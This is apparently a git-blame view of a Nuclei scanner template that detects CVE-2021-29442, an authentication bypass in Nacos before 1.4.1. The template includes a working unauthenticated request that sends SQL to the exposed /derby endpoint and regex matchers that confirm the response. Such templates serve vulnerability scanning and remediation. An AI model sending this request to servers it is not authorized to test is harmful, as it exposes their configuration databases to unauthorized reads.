2021-04-28 05:01:34 +00:00
id : CVE-2021-29442
info :
2022-07-26 13:45:11 +00:00
name : Nacos <1.4.1 - Authentication Bypass
2022-04-22 10:38:41 +00:00
author : dwisiswant0
severity : high
2021-04-28 05:01:34 +00:00
description : |
2022-07-26 13:45:11 +00:00
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
2022-04-22 10:38:41 +00:00
reference :
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
2022-05-17 09:18:12 +00:00
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-29442
cwe-id : CWE-306
2023-08-31 11:46:18 +00:00
epss-score : 0.96994
2023-11-03 15:51:18 +00:00
epss-percentile : 0.9965
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : alibaba
product : nacos
tags : nacos,auth-bypass,cve,cve2021
2021-04-28 05:01:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-28 05:01:34 +00:00
- method : GET
path :
- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
2023-07-11 19:49:27 +00:00
2021-04-28 05:01:34 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-04-28 05:01:34 +00:00
words :
- "application/json"
2023-07-11 19:49:27 +00:00
2021-04-28 05:01:34 +00:00
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-04-28 05:01:34 +00:00
regex :
- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-10-29 15:59:44 +00:00
# digest: 490a004630440220593027c689b4fbc83d5e8276115de9d3667e280bc7cb548b7e842ff15fabae710220294cf3bb18947e8f4521f62dffcfef014550567702a87fefa62eed3f77621318:922c64590222798bb761d5b6d8e72950